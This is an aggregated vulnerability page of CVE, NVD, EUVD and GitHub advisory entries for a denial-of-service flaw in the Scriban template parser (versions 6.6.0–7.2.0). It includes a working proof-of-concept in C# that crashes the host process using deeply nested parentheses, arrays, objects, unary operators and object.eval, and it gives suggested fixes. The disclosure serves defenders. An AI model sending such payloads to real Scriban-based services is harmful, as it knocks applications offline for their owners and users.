Scriban 6.6.0 through 7.2.0 Parser Recursion Denial of Service

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Scriban versions 6.6.0 through 7.2.0 contain a non-enforcing ExpressionDepthLimit guard that fails to stop recursive descent parsing of deeply nested expressions. Attackers can supply templates with deeply nested parentheses, array initializers, object initializers, or unary operators to trigger an uncatchable StackOverflowException that immediately terminates the host process.

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16 Aug 2026 13:14:09 UTC

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30 Sep 2026 17:20:28 UTC

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23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Scriban versions 6.6.0 through 7.2.0 contain a non-enforcing ExpressionDepthLimit guard that fails to stop recursive descent parsing of deeply nested expressions. Attackers can supply templates with deeply nested parentheses, array initializers, object initializers, or unary operators to trigger an uncatchable StackOverflowException that immediately terminates the host process.

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Aug 16, 2026, 1:14:09 PM (timezone not stated)

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Sep 30, 2026, 5:20:28 PM (timezone not stated)

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11 Nov 2026 16:06:28 UTC

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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Scriban versions 6.6.0 through 7.2.0 contain a non-enforcing ExpressionDepthLimit guard that fails to stop recursive descent parsing of deeply nested expressions. Attackers can supply templates with deeply nested parentheses, array initializers, object initializers, or unary operators to trigger an uncatchable StackOverflowException that immediately terminates the host process.

Source published

16 Aug 2026 14:16:56 UTC

Source modified

30 Sep 2026 18:18:40 UTC

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25 Oct 2026 15:19:09 UTC

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NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary The `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**. Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to `object.eval` / `object.eval_template` — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser. This re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.** ### Details The depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:1209-1218 private void EnterExpression() { _expressionDepth++; var limit = Options.ExpressionDepthLimit; if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit) { LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement"); _isExpressionDepthLimitReached = true; } } ``` When the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` — parsing proceeds: ```csharp // src/Scriban/Parsing/Parser.cs:476-488 private void Log(LogMessage logMessage, bool isFatal = false) { Messages.Add(logMessage); if (logMessage.Type == ParserMessageType.Error) { HasErrors = true; if (isFatal) _hasFatalError = true; // not set on the depth-limit path } } ``` The flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn "_isExpressionDepthLimitReached" src/`): it appears in exactly four places — the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182 EnterExpression(); try { ... case TokenType.OpenParen: leftOperand = ParseParenthesis(); // recurses back into ParseExpression ``` ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:984-1001 private ScriptExpression ParseParenthesis() { var expression = Open<ScriptNestedExpression>(); ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen); expression.Expression = ExpectAndParseExpression(expression); // -> ParseExpression -> ParseParenthesis -> ... ... } ``` Both `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected. So for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation. The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows. The existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS. **Runtime reachability without template injection:** `object.eval` / `object.eval_template` (`src/Scriban/Functions/ObjectFunctions.cs:72-155`) re-parse a string argument at render time using `Template.Parse(...)`. An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into `object.eval`. The `catch (Exception)` inside `Eval` cannot intercept the `StackOverflowException`. ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}"; System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)..."); Template.Parse(tpl); // <-- process is killed here System.Console.WriteLine("Parse returned without crashing"); // never reached ``` Run: ```sh dotnet run -c Release ``` Observed output (process aborts; shell exit code 134 = SIGABRT): ``` Parsing template with 8000 nested parentheses (default ParserOptions)... Stack overflow. at Scriban.Parsing.Parser.ParseParenthesis() at Scriban.Parsing.Parser.ParseExpression(...) at Scriban.Parsing.Parser.ExpectAndParseExpression(...) at Scriban.Parsing.Parser.ParseParenthesis() ... (repeats until the stack is exhausted) ``` Additional confirmations (same crash / exit 134), substituting the template body in `Program.cs`: The explicit limit is ignored — still crashes: ```csharp Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 }); ``` Array initializers (the GHSA-p6q4 path): ```csharp string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}"; Template.Parse(tpl); // crashes identically ``` Object initializers `{x:{x:...{x:1}...}}`: ```csharp var b = new System.Text.StringBuilder(); for (int i = 0; i < n; i++) b.Append("{x:"); b.Append('1'); b.Append('}', n); Template.Parse("{{ " + b + " }}"); // crashes identically ``` Unary operators: ```csharp string tpl = "{{ " + new string('!', n) + "true" + " }}"; Template.Parse(tpl); // crashes identically ``` Liquid syntax mode (shares the same expression parser): ```csharp string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}"; Template.ParseLiquid(tpl); // crashes identically ``` Runtime via `object.eval`, with a fully trusted outer template — verified end-to-end: the outer parse reports `HasErrors == false`, then `Render()` crashes the process and the surrounding `try/catch` never fires (the `StackOverflowException` is uncatchable): ```csharp using Scriban; int n = 8000; string deep = new string('(', n) + "1" + new string(')', n); string outer = "{{ \"" + deep + "\" | object.eval }}"; System.Console.WriteLine($"Outer template length = {outer.Length} chars."); var t = Template.Parse(outer); System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}"); System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)..."); try { t.Render(); System.Console.WriteLine("Render returned without crashing"); } catch (System.Exception e) { System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)"); } ``` Verified against clean NuGet installs of Scriban **6.6.0, 7.0.0, 7.1.0, and 7.2.0** (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (`HasErrors == false`, no crash). ### Impact - **Type:** Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable `StackOverflowException` and full process termination. - **Severity:** CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)** — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input. - **Who is impacted:** Any application that calls `Template.Parse` / `Template.ParseLiquid` (or `Template.Render` on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to `object.eval` / `object.eval_template`, even when its own templates are trusted. - **Why the existing mitigation does not help:** `ExpressionDepthLimit` (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a `StackOverflowException`, callers cannot defend with `try/catch` either — the process is lost. - **Affected versions:** 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition. **Suggested remediation:** make the limit actually stop descent — e.g. throw a parse exception from `EnterExpression()` when the limit is exceeded (or log with `isFatal: true` and have the parse loop honor `_hasFatalError` by unwinding). As defense in depth, call `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression` (the same technique already used in `object.to_json`), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking `HasErrors` at depth 20.

Source published

26 Jun 2026 21:02:14 UTC

Source modified

17 Aug 2026 03:55:58 UTC

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23 Oct 2026 16:01:25 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Publisher rating · MODERATE